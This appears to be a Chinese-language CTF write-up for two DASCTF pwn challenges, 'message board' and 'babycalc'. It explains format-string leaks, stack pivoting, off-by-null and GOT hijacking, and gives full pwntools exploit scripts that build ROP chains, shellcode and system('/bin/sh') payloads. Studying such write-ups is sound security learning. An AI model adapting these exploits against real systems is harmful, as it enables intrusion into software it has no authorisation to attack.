pwn
message board
程序保护
首先查程序保护、沙箱,只能读取flag。
另外题目给了libc库的附件,需要我们对程序先进行patch再调试。可以利用patchelf进行patch,因为与解题并没有特别大的关系,具体patch方法可以百度,这里不赘述,仅给出patch后的结果。
漏洞分析
在静态分析程序的main函数。可以很明显的看出,第一次输入name的时候存在格式化字符串漏洞,限制了输入的name最长0x8字节。第二次输入0xc0字节,buf栈的长度只有176(0xb0),溢出0x10字节,可以利用栈迁移。
因为我们能够控制程序的输入只有一次,就是程序中的第二次输入,同时需要进行栈迁移利用,所以需要知道在整个栈帧(rsp--rbp)迁移之前,栈内有什么特殊的地址(第二次输入的起始地址),这样就可以控制rsp到我们输入的起始地址执行构造好的ROPchain。就进入动态调试查看。进入调试先在puts处(0x00000000040131E)下断点。然后再单步步过查看第二个read函数。(第一个read函数等会再讲)
可以看到read函数的输入点是在0x7fffffffdea0处,所以在栈迁移第一次leave_ret的时候将rbp迁移到0x7fffffffdea0 - 0x8处,即在0x7fffffffdf50处写入0x7fffffffde98,同时将rbp + 0x8处设为leave_ret 的gad。
这样子就可以控制程序执行输入的ropchain了。我们设计ropchain为先打一个mprotect修改页保护权限,再读入并执行shellcode。执行mprotect和read函数都需要控制rdi、rsi、rdx三个寄存器。但是elf中可以利用的只有rdi和rsi两个寄存器,rdx的寄存器可以从libc库中寻找,这就需要获得libc的基地址了。另外设计栈迁移的地址,还需要知道read函数读入的地址,因此就需要泄露两个地址,一个是read读入的栈地址,另一个是libc其中某个函数的地址。
这样就知道前面name读入处的格式化字符串漏洞有何用处了。利用格式化字符串,泄露栈上地址和__libc_start_main + 243的地址。通过观察第一次的read和printf函数,可以发现rsi指向的地址与目的地址0x7fffffffdea0相差0x10的偏移。所以第一次可以输入”%p%31p“的name,来获得需要的两个地址。
整个攻击的思路就是格式化字符泄露栈内地址和libc地址,进行栈迁移控制程序,后面就是常规的利用libc基地址和gad构造ropchain来进行攻击了。
exp
#!/usr/bin/env python3
from pwn import *
p = process("./pwn")
# p = remote("tcp.cloud.dasctf.com",20866)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch='amd64',os='linux',log_level='debug',endian='little') #64位架构
#-----------------------------------------------------------------------
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def debug():
gdb.attach(p,"b *0x401367")
pause()
debug()
sa("name:", "%p,%31$p")
ru("Hello, ")
# debug()
name = ru("Now")
log.success(name)
stack_addr = name[:14]
stack_addr = int(stack_addr,base =16)
libc_addr = name[15: 15+14]
libc_addr = int(libc_addr,base = 16)
leak("stack addr", stack_addr)
leak("libc addr", libc_addr)
# lbs = set_current_libc_base_and_log(libc_addr, 0x24083)
libc_base = (libc_addr-243) - libc.sym["__libc_start_main"]
leak("libc_base",libc_base)
system = libc_base + libc.sym['system']
leak("system",system)
mproetct = libc_base +libc.sym["__mprotect"]
read = libc_base + libc.sym["read"]
pop_rdx = libc_base + 0x0000000000142c92
# debug()
leave_ret = 0x00000000004012e1
pop_rdi = 0x0000000000401413
pop_rsi_r15 = 0x0000000000401411
mprotect_call = flat(pop_rdi,0x404000,pop_rsi_r15,0x1000,0,pop_rdx,7,mproetct)
read_call = flat(pop_rdi,0,pop_rsi_r15,0x404000,0,pop_rdx,0x200,read)
sa("DASCTF:", fit({
0: (mprotect_call + read_call + p64(0x404000)),
0xb0: p64(stack_addr + 0x8) + p64(leave_ret)
}))
s(asm(shellcraft.cat(b"./flag")))
itr()
get flag。
babycalc
程序保护
老规矩,检查程序保护。
程序分析
接着直接看ida反汇编,检查漏洞。在反汇编可以清楚看到,程序会循环读入16个数据,并转换为long int 类型存储在v3这个地址上,同时后面对v3-v18的数值进行了检测,这16个数据是存储在栈上的,因此可以构造这些数据进行检测的绕过,动态调试的时候会更清楚的看到这些数据是如何存储的,方便构造。
第一个红色框处程序每次最多可以读入0x100个字节,同时将buf下标为读入字节处的值赋为0,就有off-by-none的漏洞了。第二个红色框处因为没有对i的数值进行检测,也可以被利用,下面再讲。
退出反汇编可以看到,每次strtol后的数据,都会存储到edx寄存器上,然后再取低位16字节存储到[rbp + rax +var_30]地址上。var_30是固定字节-0x30,rax是从[rbp - var_4]获得的,也就是rbp - 0x4的位置上,同时这个地址也是在栈上,是可以写入覆盖的。因此除了off-by-none的漏洞,还可以控制(rbp -0x30 + 0x20) ---(rbp - 0x30 + 0xff)中间的某一个字节。
动态调试中可以看到,利用off-by-none的漏洞,修改rbp低位一字节,可以让rbp跳到栈帧内的地址上。需要再找一个leave_ret的gad对rsp进行控制。
ROPgadget查找0x400c00-0x400cff中间的gad,再利用第二个漏洞来进行覆盖修改ret地址实现栈迁移。控制程序执行后构造ropchain,利用puts函数获得libc地址获得system。
ROPgadget --binary ./babycalc --range 0x400c00-0x400cff|grep leave
顺便找出pop rbx的地址,配合read函数实现任意地址再次写。
ROPgadget --binary ./babycalc --only "pop|rbp|ret"
可以看到read函数执行完后会正常执行strtol函数,那么任意地址写可以打一个hijcak got,修改strtol函数的got表为system,并将rbp - 0x100地址内容修改为"/bin/sh\x00",即可getshell
exp
#!/usr/bin/env python3
#tcp.cloud.dasctf.com:28504
from pwn import *
from LibcSearcher import *
context(os="linux",arch = "amd64")
context.log_level = "debug"
p = process("./babycalc")
# p = remote("tcp.cloud.dasctf.com",25998)
# p = remote("")
elf = ELF("./babycalc")
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def find_libc(function,function_address,path=""):
# print(type(function))==>str
if path == "":
libc = LibcSearcher(function,function_address)
libc_base = function_address - libc.dump(function)
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
else:
libc = ELF(path)
libc_base = function_address - libc.sym[function]
system = libc_base + libc.sym["system"]
binsh = libc_base + libc.search(b"/bin/sh").__next__()
leak(system)
leak(binsh)
return (system,binsh,libc_base)
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
gdb.attach(p)
pause()
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
from z3 import *
# v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18 = Ints("v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18")
# s = Solver()
# s.add(v5 * v4 * v3 - v6 == 36182)
# s.add( v3 == 19)
# s.add( v5 * 19 * v4 + v6 == 36322)
# s.add( (v13 + v3 - v8) * v16 == 32835)
# s.add( (v4 * v3 - v5) * v6 == 44170)
# s.add( (v5 + v4 * v3) * v6 == 51590)
# s.add( v9 * v8 * v7 - v10 == 61549)
# s.add( v10 * v15 + v4 + v18 == 19037)
# s.add( v9 * v8 * v7 + v10 == 61871)
# s.add( (v8 * v7 - v9) * v10 == 581693)
# s.add( v11 == 50)
# s.add( (v9 + v8 * v7) * v10 == 587167)
# s.add( v13 * v12 * v11 - v14 == 1388499)
# s.add( v13 * v12 * v11 + v14 == 1388701)
# s.add( (v12 * v11 - v13) * v14 == 640138)
# s.add( (v11 * v5 - v16) * v12 == 321081)
# s.add( (v13 + v12 * v11) * v14 == 682962)
# s.add( v17 * v16 * v15 - v18 == 563565)
# s.add( v17 * v16 * v15 + v18 == 563571)
# s.add( v14 == 101)
# s.add( (v16 * v15 - v17) * v18 == 70374)
# s.add( (v17 + v16 * v15) * v18 == 70518)
# if s.check() == sat:
# model = s.model()
# print("v3 = ", model[v3])
# print("v4 = ", model[v4])
# print("v5 = ", model[v5])
# print("v6 = ", model[v6])
# print("v7 = ", model[v7])
# print("v8 = ", model[v8])
# print("v9 = ", model[v9])
# print("v10 = ", model[v10])
# print("v11 = ", model[v11])
# print("v12 = ", model[v12])
# print("v13 = ", model[v13])
# print("v14 = ", model[v14])
# print("v15 = ", model[v15])
# print("v16 = ", model[v16])
# print("v17 = ", model[v17])
# print("v18 = ", model[v18])
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
v3 = 19
v11 = 50
v14 = 101
v13 = 212
v16 = 199
v6 = 70
v4 = 36
v5 = 53
v9 = 17
v17 = 24
v15 = 118
v18 = 3
v7 = 55
v12 = 131
v10 = 161
v8 = 66
data = [
v3 ,
v4 ,
v5 ,
v6 ,
v7 ,
v8 ,
v9 ,
v10,
v11,
v12,
v13,
v14,
v15,
v16,
v17,
v18,
]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
ret = 0x00000000004005b9
pop_rbp_ret = 0x00000000004006b0
pop_rdi_ret = 0x0000000000400ca3
read_func = 0x00000000004007B4
ret_all = p64(ret) * 19
pp1 = flat(ret_all,pop_rdi_ret,puts_got,puts_plt,pop_rbp_ret,0x602018+0x100,read_func)
payload = fit(
{
0: str(0x17) + "\x00",
0x8: pp1,
0x100-0x30: [
p8(v3),
p8(v4),
p8(v5),
p8(v6),
p8(v7),
p8(v8),
p8(v9),
p8(v10),
p8(v11),
p8(v12),
p8(v13),
p8(v14),
p8(v15),
p8(v16),
p8(v17),
p8(v18)
],
0x100-0x4: p32(0x38)
},length=0x100
)
#puts b *0x000000000400BA6
ru("number")
debug()
s(payload)
# p.recvuntil("good done\n",drop = True)
puts_addr = u64(ru(b"\x7f")[-6:].ljust(8,b"\x00"))
leak(puts_addr)
(system,binsh,libc_base) = find_libc("puts",puts_addr,path = b"/lib/x86_64-linux-gnu/libc.so.6")
# (system,binsh,libc_base) = find_libc("puts",puts_addr,path = b"./libc6_2.23-0ubuntu11.3_amd64.so")
leak(libc_base)
payload2 = flat(
{
0x0: b"/bin/sh\x00",
# 0x0: b"cat flag\x00",
0x20: system
},filler = b"a")
# debug()
s(payload2)
itr()